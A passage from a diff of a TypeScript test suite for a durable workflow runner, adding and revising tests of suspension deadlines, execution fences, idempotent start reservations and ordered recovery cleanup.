     // Mastra's in-memory fallback: storage unavailable while the isolate still
     // holds the run — 'suspended' with no suspended paths and no fences.
@@ -5052,7 +6123,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('charges the ledger instead of wiping the record when a due wake reads a degraded summary', async () => {
-    const { state, values } = recoveryStorage();
+    const { state, values } = durableKeyValueStorageFixture();
     const env = makeProductionEnv();
     const reads = statusStub(async () => ({
       runId: 'run-degraded-due',
@@ -5094,7 +6165,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('re-arms to the current suspension when a retry wake holds only a stale record', async () => {
-    const { storage, values, alarms } = recoveryStorage();
+    const { storage, values, alarms } = durableKeyValueStorageFixture();
     const { state, fail } = deadlineWriteFailures(storage, {
       name: 'timed-relay-shortening:run-shortening',
       once: true,
@@ -5145,7 +6216,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('arms a parallel suspension missed by a failed write on the next nothing-due wake', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const gateSuspendedAt = Date.now();
     const otherSuspendedAt = Date.now() + 1;
     const env = makeProductionEnv();
@@ -5179,7 +6250,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('clears a stale record and its alarm when the run moved on with nothing to arm', async () => {
     const events: string[] = [];
-    const { state, values } = recoveryStorage(events);
+    const { state, values } = durableKeyValueStorageFixture(events);
     const env = makeProductionEnv();
     env.runtime = {
       ...statusStub(async () => ({
@@ -5199,7 +6270,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('keeps the backoff of a re-derived entry instead of the past deadline or the floor', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const suspendedAt = Date.now() - TIMED_DEADLINE_MS - 1;
     const nextAttemptAt = Date.now() + 300_000;
     const entry = {
@@ -5227,7 +6298,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
   });
 
   it('reconciles idempotently on a wake just before the deadline and resumes once after it', async () => {
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     // Authoritative state whose derived deadline lands 150 ms ahead of the
     // wake — workerd can deliver an alarm marginally early.
     const suspendedAt = Date.now() + 150 - TIMED_DEADLINE_MS;
@@ -5263,7 +6334,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('keeps the recovery cadence when a no-record wake cannot read authoritative state', async () => {
     const events: string[] = [];
-    const { storage, alarms } = recoveryStorage(events);
+    const { storage, alarms } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-status-throws' },
       storage,
@@ -5301,7 +6372,7 @@ describe('DurableObjectRunner suspension deadlines', () => {
 
   it('keeps a valid record on the recovery cadence when its nothing-due wake cannot read state', async () => {
     const events: string[] = [];
-    const { storage, values, alarms } = recoveryStorage(events);
+    const { storage, values, alarms } = durableKeyValueStorageFixture(events);
     const state = {
       id: { name: 'timed:run-throws-recorded' },
       storage,
@@ -5382,9 +6453,9 @@ describe('DurableObjectRunner and the deployment execution fence', () => {
     // #given — a locked deployment and a start that would otherwise journal a
     // recovery record, arm an alarm, and reserve the run's owner.
     const events: string[] = [];
-    const { state } = recoveryStorage(events);
+    const { state } = durableKeyValueStorageFixture(events);
     const reserve = vi.fn(async () => true);
-    const env = makeProductionEnv(new InMemoryStore(), {
+    const env = makeProductionEnv(testStorage(), {
       reserve,
       settle: vi.fn(async () => undefined),
     });
@@ -5428,7 +6499,7 @@ describe('DurableObjectRunner and the deployment execution fence', () => {
   it('keeps reads open while locked', async () => {
     // #given — a run started before the lock.
     const env = timedEnv();
-    const { state } = recoveryStorage();
+    const { state } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, env);
     await startTimed(runner, 'fenced-read');
     await env.fence?.seed('open');
@@ -5452,7 +6523,7 @@ describe('DurableObjectRunner and the deployment execution fence', () => {
   it('leaves a due deadline uncharged and unconverged under a locked fence, then fires it after reopen', async () => {
     // #given — a suspended run with a due deadline on a locked deployment.
     const env = timedEnv();
-    const { state, values, alarms } = recoveryStorage();
+    const { state, values, alarms } = durableKeyValueStorageFixture();
     const runner = new TestRunner(state, env);
     await startTimed(runner, 'fenced-deadline');
     elapseDeadlines(values);
@@ -5565,15 +6636,16 @@ describe('DurableObjectRunner and the deployment execution fence', () => {
       { storage: env.storage },
       { startIdempotency: 'none', executionFence: 'none' },
     ).runtime;
-    const runner = new TestRunner(undefined, env);
+    const runner = new TestRunner(undefined, env, false);
 
     // #then — past the guard. 404 is this bare runtime answering for a workflow
     // it was never given; what matters is that it ANSWERED, where the D1-shaped
     // binding above produced the guard's 500.
     const response = await runner.fetch(
-      post('/runs', { workflowId: 'gated', runId: 'rpc-db' }),
+      deploymentIdentityRequest('http://do/runs/gated/rpc-db/start-liveness'),
     );
-    expect(response.status).toBe(404);
+    expect(response.status).toBe(200);
+    expect(await response.json()).toEqual({ live: false });
   });
 });
 
@@ -5605,12 +6677,12 @@ describe('DurableObjectRunner — idempotent start plumbing', () => {
     // This is the whole point of the route: the start holds the operation lock
     // for its entire first leg, so a probe that took that lock would block for
     // exactly as long as the run it was trying to describe.
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const { createWorkflow, createStep, runtime } = init(
       { storage },
       {
-        executionFence: newTestExecutionFence(),
-        startIdempotency: newTestStartIdempotency(),
+        executionFence: newTestExecutionFence(storage),
+        startIdempotency: newTestStartIdempotency(storage),
       },
     );
     let probed!: (value: unknown) => void;
@@ -5687,7 +6759,7 @@ describe('DurableObjectRunner — idempotent start plumbing', () => {
   it('admits exactly the proof-only start that carries the nominated key, end to end', async () => {
     // #given a deployment fenced into proof-only, addressed through the route
     // a trusted Worker actually uses
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const env = makeProductionEnv(storage);
     const fence = env.fence as ExecutionFenceStore;
     await fence.seed('migration-locked');
@@ -5733,10 +6805,19 @@ describe('DurableObjectRunner — idempotent start plumbing', () => {
       }),
     );
     expect(admitted.status).toBe(200);
-    await expect(fence.read()).resolves.toEqual({
+    await expect(fence.read()).resolves.toMatchObject({
       state: 'proof-only',
+      proofExecution: {
+        tablePrefix: '',
+        workflowId: 'gated',
+        runId: 'run-proof',
+        startToken: expect.any(String),
+      },
       proofKey: 'proof-key-1',
       proofRunId: 'run-proof',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 1,
     });
 
     // #and a SECOND start under the same key is refused: the proof is one run,
@@ -5756,7 +6837,7 @@ describe('DurableObjectRunner — idempotent start plumbing', () => {
     // #given a fence that reads proof-only and then, between the admitting
     // read and the write-back, has been transitioned away — the 0-row case
     // recordProofRun's CAS exists for
-    const storage = new InMemoryStore();
+    const storage = testStorage();
     const env = makeProductionEnv(storage);
     const fence = env.fence as ExecutionFenceStore;
     await fence.seed('migration-locked');
@@ -5806,6 +6887,1785 @@ describe('DurableObjectRunner — idempotent start plumbing', () => {
     // #then refused, and nothing ran: the deployment is no longer the one this
     // start read, so its admission is void.
     expect(response.status).toBe(503);
-    await expect(fence.read()).resolves.toEqual({ state: 'migration-locked' });
+    await expect(fence.read()).resolves.toEqual({
+      state: 'migration-locked',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 2,
+    });
+  });
+});
+
+describe('FS8 D3 host activation workflow recovery barriers', () => {
+  async function preparedFixture() {
+    const fixture = cWorkflowFixture(true);
+    const writes: unknown[] = [];
+    const put = fixture.journal.storage.put.bind(fixture.journal.storage);
+    vi.spyOn(fixture.journal.storage, 'put').mockImplementation(
+      async (key, value) => {
+        if (key === 'flowsafe:run-owner-recovery:v1')
+          writes.push(structuredClone(value));
+        await put(key, value);
+      },
+    );
+    const response = await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY));
+    expect(response.status).toBe(200);
+    const journal = writes.at(-1) as Record<string, unknown>;
+    expect(journal).toMatchObject({
+      version: 2,
+      phase: 'prepared',
+      owner: { kind: 'human', id: 'owner-1' },
+    });
+    fixture.journal.values.set(
+      'flowsafe:run-owner-recovery:v1',
+      structuredClone(journal),
+    );
+    return { ...fixture, journalValue: journal };
+  }
+
+  it.each([
+    'phase',
+    'generation',
+    'owner',
+  ] as const)('preserves a replacement journal with repeated H after recovery read: %s', async (field) => {
+    const fixture = await preparedFixture();
+    const replacement = structuredClone(fixture.journalValue);
+    if (field === 'phase') replacement.phase = 'prepared-unfenced';
+    if (field === 'generation')
+      (replacement.execution as { startToken: string }).startToken =
+        'replacement-generation';
+    if (field === 'owner')
+      replacement.owner = { kind: 'human', id: 'replacement-owner' };
+    const nativeRecover = fixture.runtime.recoverStartAttempt.bind(
+      fixture.runtime,
+    );
+    vi.spyOn(fixture.runtime, 'recoverStartAttempt').mockImplementation(
+      async (...args) => {
+        const result = await nativeRecover(...args);
+        fixture.journal.values.set(
+          'flowsafe:run-owner-recovery:v1',
+          replacement,
+        );
+        return result;
+      },
+    );
+    const outcome = await fixture.runner
+      .alarm()
+      .catch((error: unknown) => error);
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(replacement);
+    expect(await fixture.env.owners.owner('run', 'c-run')).toEqual({
+      kind: 'human',
+      id: 'owner-1',
+    });
+    expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now());
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    'strict settlement',
+    'approval hook',
+    'dispatch discard',
+    'ownership settlement',
+    'ownership release',
+    'completion',
+    'journal delete',
+  ] as const)('retains a terminal journal until the ordered cleanup confirms: %s', async (boundary) => {
+    const fixture = await preparedFixture();
+    const terminal = await fixture.runtime.terminateAsPrincipal(
+      'gated',
+      'c-run',
+      OWNER_PRINCIPAL,
+      OWNER_PRINCIPAL,
+    );
+    expect(terminal.summary.status).toBe('cancelled');
+    const failure = new Error('held cleanup boundary');
+    const hooks = {
+      abandonApprovals: vi.fn(async () => {}),
+      discardScheduleDispatch: vi.fn(async () => {}),
+    };
+    fixture.env.lifecycle = hooks;
+    if (boundary === 'dispatch discard') {
+      const workflows = await fixture.storage.getStore('workflows');
+      const snapshot = await workflows?.loadWorkflowSnapshot({
+        workflowName: 'gated',
+        runId: 'c-run',
+      });
+      if (!snapshot?.requestContext)
+        throw new Error('missing terminal snapshot');
+      const lifecycle = snapshot.requestContext[
+        'flowsafe.runLifecycle'
+      ] as Record<string, unknown>;
+      lifecycle.scheduleDispatch = {
+        scheduleId: 'barrier-schedule',
+        dispatchId: 'barrier-dispatch',
+      };
+      await workflows?.persistWorkflowSnapshot({
+        workflowName: 'gated',
+        runId: 'c-run',
+        snapshot,
+      });
+    }
+    const completion = vi.spyOn(fixture.runtime, 'completeTerminalCleanup');
+    const releaseOwner = vi.spyOn(fixture.env.owners, 'release');
+    let restore = () => {};
+    if (boundary === 'strict settlement') {
+      const spy = vi
+        .spyOn(fixture.runtime, 'settleStartExecution')
+        .mockRejectedValue(failure);
+      restore = () => spy.mockRestore();
+    }
+    if (boundary === 'approval hook') {
+      hooks.abandonApprovals.mockRejectedValue(failure);
+      restore = () => {
+        hooks.abandonApprovals.mockResolvedValue();
+      };
+    }
+    if (boundary === 'dispatch discard') {
+      hooks.discardScheduleDispatch.mockRejectedValue(failure);
+      restore = () => {
+        hooks.discardScheduleDispatch.mockResolvedValue();
+      };
+    }
+    if (boundary === 'ownership settlement') {
+      const spy = vi
+        .spyOn(fixture.env.owners, 'settleReservation')
+        .mockRejectedValue(failure);
+      restore = () => spy.mockRestore();
+    }
+    if (boundary === 'ownership release') {
+      releaseOwner.mockRejectedValue(failure);
+      restore = () => releaseOwner.mockRestore();
+    }
+    if (boundary === 'completion') {
+      const spy = vi
+        .spyOn(fixture.runtime, 'completeTerminalCleanup')
+        .mockRejectedValue(failure);
+      restore = () => spy.mockRestore();
+    }
+    if (boundary === 'journal delete') {
+      const native = fixture.journal.storage.delete.bind(
+        fixture.journal.storage,
+      );
+      const spy = vi
+        .spyOn(fixture.journal.storage, 'delete')
+        .mockImplementation(async (key) => {
+          if (key === 'flowsafe:run-owner-recovery:v1') throw failure;
+          return native(key);
+        });
+      restore = () => spy.mockRestore();
+    }
+    const outcome = await fixture.runner
+      .alarm()
+      .catch((error: unknown) => error);
+    if (
+      boundary === 'dispatch discard' ||
+      boundary === 'ownership settlement' ||
+      boundary === 'ownership release'
+    ) {
+      expect(await fixture.env.owners.owner('run', 'c-run')).toEqual({
+        kind: 'human',
+        id: 'owner-1',
+      });
+      expect(completion).not.toHaveBeenCalled();
+      if (boundary === 'ownership settlement')
+        expect(hooks.abandonApprovals).not.toHaveBeenCalled();
+      if (boundary === 'dispatch discard')
+        expect(releaseOwner).not.toHaveBeenCalled();
+    }
+    const durable = await fixture.runtime.authoritativeStartState(
+      'gated',
+      'c-run',
+    );
+    expect(durable).toMatchObject({
+      kind: 'result',
+      summary: { status: 'cancelled' },
+    });
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(fixture.journalValue);
+    expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now());
+    if (boundary === 'strict settlement')
+      expect(hooks.abandonApprovals).not.toHaveBeenCalled();
+    if (boundary === 'strict settlement')
+      expect(outcome).toMatchObject({ status: 503, cause: failure });
+    else expect(outcome).toBe(failure);
+    restore();
+    await fixture.runner.alarm();
+    expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(
+      false,
+    );
+  });
+
+  it('converges a prepared journal put whose response was lost before admission', async () => {
+    const fixture = cWorkflowFixture(true);
+    const put = fixture.journal.storage.put.bind(fixture.journal.storage);
+    vi.spyOn(fixture.journal.storage, 'put').mockImplementation(
+      async (key, value) => {
+        await put(key, value);
+        if (
+          key === 'flowsafe:run-owner-recovery:v1' &&
+          (value as { phase?: string }).phase === 'prepared'
+        )
+          throw new Error('preparation receipt lost');
+      },
+    );
+    const response = await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY));
+    const state = await fixture.runtime.authoritativeStartState(
+      'gated',
+      'c-run',
+    );
+    expect(state).toMatchObject({
+      kind: 'result',
+      summary: { status: 'suspended' },
+    });
+    expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(
+      false,
+    );
+    expect(response.status).toBe(200);
+  });
+
+  it('resets only unreadability stamps when a due deadline observes known pending', async () => {
+    const fixture = await preparedFixture();
+    const snapshot = await fixture.storage.getStore('workflows');
+    const selected = await fixture.runtime.authoritativeStartState(
+      'gated',
+      'c-run',
+    );
+    if (!selected) throw new Error('missing selected state');
+    const pending = {
+      ...selected.snapshot,
+      status: 'pending' as const,
+      requestContext: { ...selected.snapshot.requestContext },
+    };
+    await snapshot?.persistWorkflowSnapshot({
+      workflowName: 'gated',
+      runId: 'c-run',
+      snapshot: pending,
+    });
+    const record: SuspensionDeadlineRecord = {
+      version: 1,
+      workflowId: 'gated',
+      runId: 'c-run',
+      entries: [
+        {
+          step: 'gate',
+          suspendedAt: 1,
+          resumeCount: 0,
+          deadlineAt: 1,
+          attempts: 2,
+          nextAttemptAt: 2,
+          unreadableSince: 1,
+        },
+        {
+          step: 'future',
+          suspendedAt: 3,
+          resumeCount: 0,
+          deadlineAt: Date.now() + 1_000_000,
+          attempts: 1,
+          nextAttemptAt: Date.now() + 1_000_000,
+          unreadableSince: 2,
+        },
+      ],
+    };
+    fixture.journal.values.delete('flowsafe:run-owner-recovery:v1');
+    fixture.journal.values.set(SUSPENSION_DEADLINE_STORAGE_KEY, record);
+    const resume = vi.spyOn(fixture.runtime, 'resume');
+    await fixture.runner.alarm();
+    expect(fixture.journal.values.get(SUSPENSION_DEADLINE_STORAGE_KEY)).toEqual(
+      {
+        ...record,
+        entries: record.entries.map(
+          ({ unreadableSince: _stamp, ...entry }) => entry,
+        ),
+      },
+    );
+    expect(
+      (await fixture.runtime.authoritativeStartState('gated', 'c-run'))?.kind,
+    ).toBe('initial');
+    expect(resume).not.toHaveBeenCalled();
+  });
+});
+
+describe('FS8 D3 protected replay selected workflow value', () => {
+  it('pairs the original selected generation with its value after durable replacement', async () => {
+    const fixture = cWorkflowFixture(true);
+    expect(
+      (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status,
+    ).toBe(200);
+    const workflows = await fixture.storage.getStore('workflows');
+    const snapshot = await workflows?.loadWorkflowSnapshot({
+      workflowName: 'gated',
+      runId: 'c-run',
+    });
+    if (!workflows || !snapshot) throw new Error('missing real snapshot');
+    await workflows.persistWorkflowSnapshot({
+      workflowName: 'gated',
+      runId: 'c-run',
+      // The upstream snapshot type narrows results to records; persisted JSON can carry scalars.
+      snapshot: {
+        ...snapshot,
+        status: 'success',
+        result: 'first-value',
+      } as unknown as WorkflowRunState,
+    });
+    const originalRead = fixture.runtime.authoritativeStartState.bind(
+      fixture.runtime,
+    );
+    const first = await originalRead('gated', 'c-run');
+    if (!first) throw new Error('missing original generation');
+    const read = vi
+      .spyOn(fixture.runtime, 'authoritativeStartState')
+      .mockImplementation(async (...args) => {
+        const selected = await originalRead(...args);
+        await workflows.persistWorkflowSnapshot({
+          workflowName: 'gated',
+          runId: 'c-run',
+          snapshot: {
+            ...snapshot,
+            status: 'success',
+            result: 'replacement-value',
+            requestContext: {
+              ...snapshot.requestContext,
+              'flowsafe.runProvenance': {
+                ...(snapshot.requestContext?.[
+                  'flowsafe.runProvenance'
+                ] as object),
+                startToken: 'replacement-generation',
+              },
+            },
+          } as unknown as WorkflowRunState,
+        });
+        return selected;
+      });
+    const response = await fixture.runner.fetch(
+      deploymentIdentityRequest('http://do/runs/gated/c-run?replay=1'),
+    );
+    expect(
+      (
+        await workflows.loadWorkflowSnapshot({
+          workflowName: 'gated',
+          runId: 'c-run',
+        })
+      )?.result,
+    ).toBe('replacement-value');
+    expect(await response.json()).toMatchObject({
+      kind: 'result',
+      execution: { startToken: first.execution.startToken },
+      value: { result: 'first-value' },
+    });
+    expect(read).toHaveBeenCalledOnce();
+  });
+});
+
+describe('FS8 D3 host activation original claim preflight', () => {
+  it.each([
+    false,
+    true,
+  ])('releases only its exact captured claim on a local fence refusal (replacement=%s)', async (replacement) => {
+    const fixture = cWorkflowFixture(true);
+    const store = fixture.runtime.startIdempotency;
+    if (!store || !fixture.env.fence)
+      throw new Error('missing test authority wiring');
+    await fixture.env.fence.seed('open');
+    const reserved = await store.reserve({
+      key: 'host-key',
+      owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+      targetKind: 'workflow',
+      targetId: 'gated',
+      mintRunId: () => 'c-run',
+    });
+    const claim = await store.claimReservation(reserved.reservation);
+    if (!claim) throw new Error('test did not win its reservation');
+    await fixture.env.fence.transition({ expected: 'open', next: 'draining' });
+    if (replacement) {
+      const native = fixture.env.fence.read.bind(fixture.env.fence);
+      vi.spyOn(fixture.env.fence, 'read').mockImplementationOnce(async () => {
+        const reading = await native();
+        await store.releaseReservation(claim);
+        const released = await store.readForAdmission('host-key');
+        if (!released) throw new Error('missing released reservation');
+        expect(await store.claimReservation(released)).toBeDefined();
+        return reading;
+      });
+    }
+    const response = await fixture.runner.fetch(
+      post('/runs', {
+        ...C_WORKFLOW_BODY,
+        idempotencyKey: 'host-key',
+        startReservation: claim,
+      }),
+    );
+    const current = await store.readForAdmission('host-key');
+    expect(current?.state).toBe(replacement ? 'started' : 'reserved');
+    expect(current?.binding).toEqual({ kind: 'unbound' });
+    expect(current?.updatedAt).toBeGreaterThan(claim.updatedAt);
+    expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(
+      false,
+    );
+    expect(fixture.reserve).not.toHaveBeenCalled();
+    expect(fixture.start).not.toHaveBeenCalled();
+    expect(response.status).toBe(503);
+  });
+});
+
+describe('FS8 D3 host activation managed workflow expectation', () => {
+  it('rejects an agent role at the same physical workflow generation before B2 or cleanup', async () => {
+    const fixture = cWorkflowFixture(true);
+    const put = fixture.journal.storage.put.bind(fixture.journal.storage);
+    let journal: unknown;
+    vi.spyOn(fixture.journal.storage, 'put').mockImplementation(
+      async (key, value) => {
+        if (
+          key === 'flowsafe:run-owner-recovery:v1' &&
+          (value as { phase?: string }).phase === 'prepared'
+        )
+          journal = structuredClone(value);
+        await put(key, value);
+      },
+    );
+    expect(
+      (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status,
+    ).toBe(200);
+    const domain = (await fixture.storage.getStore(
+      'workflows',
+    )) as FencedWorkflowsStorageD1;
+    const original = await domain.loadWorkflowSnapshot({
+      workflowName: 'gated',
+      runId: 'c-run',
+    });
+    if (!original?.requestContext || !journal)
+      throw new Error('missing actual prepared workflow');
+    const prior = original.requestContext['flowsafe.runProvenance'] as Record<
+      string,
+      unknown
+    >;
+    const snapshot = {
+      runId: 'c-run',
+      status: 'pending' as const,
+      value: {},
+      context: {},
+      serializedStepGraph: [],
+      activePaths: [],
+      activeStepsPath: {},
+      suspendedPaths: {},
+      resumeLabels: {},
+      waitingPaths: {},
+      timestamp: 123,
+      requestContext: {
+        'flowsafe.runProvenance': {
+          ...prior,
+          initialAdmission: true,
+          resumeCounts: [],
+          startIdentity: {
+            owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+            target: {
+              kind: 'agent',
+              id: 'foreign-agent',
+              threadId: 'foreign-thread',
+            },
+          },
+          agentStart: { threaded: true },
+        },
+      },
+    };
+    await domain.persistWorkflowSnapshot({
+      workflowName: 'gated',
+      runId: 'c-run',
+      snapshot,
+    });
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    const native = domain[FENCED_WORKFLOW_STORAGE];
+    if (!native) throw new Error('missing actual capability');
+    const rawReads = vi.fn(native.readSnapshot.bind(native));
+    const terminalize = vi.fn(native.terminalizeInitialAdmission.bind(native));
+    Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+      value: {
+        ...native,
+        readSnapshot: rawReads,
+        terminalizeInitialAdmission: terminalize,
+      },
+      configurable: true,
+    });
+    const before = await native.readSnapshot({
+      workflowId: 'gated',
+      runId: 'c-run',
+    });
+    const settle = vi.spyOn(fixture.runtime, 'settleStartExecution');
+    const response = await fixture.runner.fetch(
+      deploymentIdentityRequest('http://do/runs/gated/c-run/dispatch-status'),
+    );
+    expect(
+      await native.readSnapshot({ workflowId: 'gated', runId: 'c-run' }),
+    ).toEqual(before);
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(journal);
+    expect(terminalize).not.toHaveBeenCalled();
+    expect(settle).not.toHaveBeenCalled();
+    expect(rawReads).toHaveBeenCalledOnce();
+    expect(response.status).toBe(503);
+  });
+});
+
+describe('FS8 D3 host activation prepared absence and local zero', () => {
+  it.each([
+    true,
+    false,
+  ])('retains a cold prepared workflow journal across same-ID retries after absence (keyed=%s)', async (keyed) => {
+    const fixture = cWorkflowFixture(true);
+    const reservations = fixture.runtime.startIdempotency;
+    if (!reservations) throw new Error('missing reservations');
+    let claim:
+      | import('./start-reservation-contract.js').StartReservationReading
+      | undefined;
+    if (keyed) {
+      const reserved = await reservations.reserve({
+        key: 'absent-key',
+        owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+        targetKind: 'workflow',
+        targetId: 'gated',
+        mintRunId: () => 'c-run',
+      });
+      claim = await reservations.claimReservation(reserved.reservation);
+      if (!claim) throw new Error('missing winning claim');
+    }
+    let journal: unknown;
+    const put = fixture.journal.storage.put.bind(fixture.journal.storage);
+    vi.spyOn(fixture.journal.storage, 'put').mockImplementation(
+      async (key, value) => {
+        if (
+          key === 'flowsafe:run-owner-recovery:v1' &&
+          (value as { phase?: string }).phase === 'prepared'
+        )
+          journal = structuredClone(value);
+        await put(key, value);
+      },
+    );
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            ...C_WORKFLOW_BODY,
+            ...(claim
+              ? { idempotencyKey: claim.key, startReservation: claim }
+              : {}),
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    const claimed = keyed
+      ? await reservations.readForAdmission('absent-key')
+      : undefined;
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    await testDatabase(fixture.storage)
+      .prepare(
+        'DELETE FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+      )
+      .bind('gated', 'c-run')
+      .run();
+    fixture.env.runtime = gatedRuntime(fixture.storage, fixture.env.fence);
+    const enter = vi
+      .spyOn(fixture.env.runtime, 'start')
+      .mockRejectedValue(new Error('unexpected new engine entry'));
+    const evicted = new TestRunner(fixture.journal.state, fixture.env);
+    const error = await evicted.alarm().catch((cause: unknown) => cause);
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(journal);
+    expect(
+      await fixture.env.runtime.authoritativeStartState('gated', 'c-run'),
+    ).toBeNull();
+    expect(
+      keyed ? await reservations.readForAdmission('absent-key') : undefined,
+    ).toEqual(claimed);
+    expect(error).toMatchObject({ status: 503 });
+    for (let retry = 0; retry < 2; retry++) {
+      const response = await evicted.fetch(
+        post('/runs', {
+          ...C_WORKFLOW_BODY,
+          ...(claim
+            ? { idempotencyKey: claim.key, startReservation: claim }
+            : {}),
+        }),
+      );
+      expect(
+        fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+      ).toEqual(journal);
+      expect(enter).not.toHaveBeenCalled();
+      expect(response.status).toBe(503);
+    }
+  });
+
+  async function zeroFixture() {
+    const env = makeProductionEnv();
+    const reservations = newTestStartIdempotency(env.storage);
+    const app = init(
+      { storage: env.storage },
+      { executionFence: env.fence ?? 'none', startIdempotency: reservations },
+    );
+    let effects = 0;
+    app
+      .createWorkflow({
+        id: 'zero',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      })
+      .then(
+        app.createStep({
+          id: 'effect',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+          execute: async () => {
+            effects++;
+            return {};
+          },
+        }),
+      )
+      .commit();
+    env.runtime = app.runtime;
+    if (!env.fence) throw new Error('missing native fence');
+    await env.fence.seed('open');
+    const domain = (await env.storage.getStore(
+      'workflows',
+    )) as FencedWorkflowsStorageD1;
+    const native = domain[FENCED_WORKFLOW_STORAGE];
+    if (!native) throw new Error('missing native capability');
+    let closeOnce = true;
+    Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+      value: {
+        ...native,
+        withInitialAdmission: async (
+          input: Parameters<typeof native.withInitialAdmission>[0],
+          create: Parameters<typeof native.withInitialAdmission>[1],
+        ) => {
+          if (closeOnce) {
+            closeOnce = false;
+            await env.fence?.transition({ expected: 'open', next: 'draining' });
+          }
+          return native.withInitialAdmission(input, create);
+        },
+      },
+      configurable: true,
+    });
+    const journal = durableKeyValueStorageFixture();
+    const runner = new TestRunner(journal.state, env);
+    const makeClaim = async () => {
+      const reserved = await reservations.reserve({
+        key: 'zero-key',
+        owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+        targetKind: 'workflow',
+        targetId: 'zero',
+        mintRunId: () => 'zero-run',
+      });
+      const claim = await reservations.claimReservation(reserved.reservation);
+      if (!claim) throw new Error('missing winning claim');
+      return claim;
+    };
+    return {
+      env,
+      reservations,
+      app,
+      domain,
+      native,
+      journal,
+      runner,
+      makeClaim,
+      effects: () => effects,
+      allowNext: () => {
+        closeOnce = false;
+      },
+      refuseNext: () => {
+        closeOnce = true;
+      },
+    };
+  }
+
+  it.each([
+    true,
+    false,
+  ])('clears only a local native validated-zero admission and retries once (keyed=%s)', async (keyed) => {
+    const { env, reservations, native, journal, runner, makeClaim, effects } =
+      await zeroFixture();
+    if (!env.fence) throw new Error('missing native fence');
+    const firstClaim = keyed ? await makeClaim() : undefined;
+    const first = await runner.fetch(
+      post('/runs', {
+        workflowId: 'zero',
+        runId: 'zero-run',
+        inputData: {},
+        ...(firstClaim
+          ? { idempotencyKey: firstClaim.key, startReservation: firstClaim }
+          : {}),
+      }),
+    );
+    expect(
+      await native.readSnapshot({ workflowId: 'zero', runId: 'zero-run' }),
+    ).toBeUndefined();
+    expect(journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(false);
+    expect(await env.owners.owner('run', 'zero-run')).toBeUndefined();
+    expect(effects()).toBe(0);
+    if (keyed)
+      expect(await reservations.readForAdmission('zero-key')).toMatchObject({
+        state: 'reserved',
+        binding: { kind: 'unbound' },
+      });
+    expect(first.status).toBe(503);
+    await env.fence.transition({ expected: 'draining', next: 'open' });
+    const nextClaim = keyed ? await makeClaim() : undefined;
+    const retry = await runner.fetch(
+      post('/runs', {
+        workflowId: 'zero',
+        runId: 'zero-run',
+        inputData: {},
+        ...(nextClaim
+          ? { idempotencyKey: nextClaim.key, startReservation: nextClaim }
+          : {}),
+      }),
+    );
+    expect(effects()).toBe(1);
+    expect(journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(false);
+    expect(retry.status).toBe(200);
+  });
+  it.each([
+    'lookalike',
+    'serialized',
+    'other generation',
+    'foreign row',
+    'evicted frame',
+  ] as const)('retains prepared absence without its exact local zero authority: %s', async (mode) => {
+    const fixture = await zeroFixture();
+    const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime);
+    let originalFailure: unknown;
+    let replacementRaw: unknown;
+    vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce(
+      async (...args) => {
+        try {
+          return await nativeStart(...args);
+        } catch (error) {
+          originalFailure = error;
+          if (mode === 'other generation') {
+            await fixture.env.fence?.transition({
+              expected: 'draining',
+              next: 'open',
+            });
+            fixture.refuseNext();
+            await nativeStart('zero', {
+              runId: 'other-zero-run',
+              inputData: {},
+              requestedBy: OWNER_PRINCIPAL.id,
+              requestedByKind: 'human',
+            });
+            throw new Error('second native zero did not refuse');
+          }
+          if (mode === 'foreign row') {
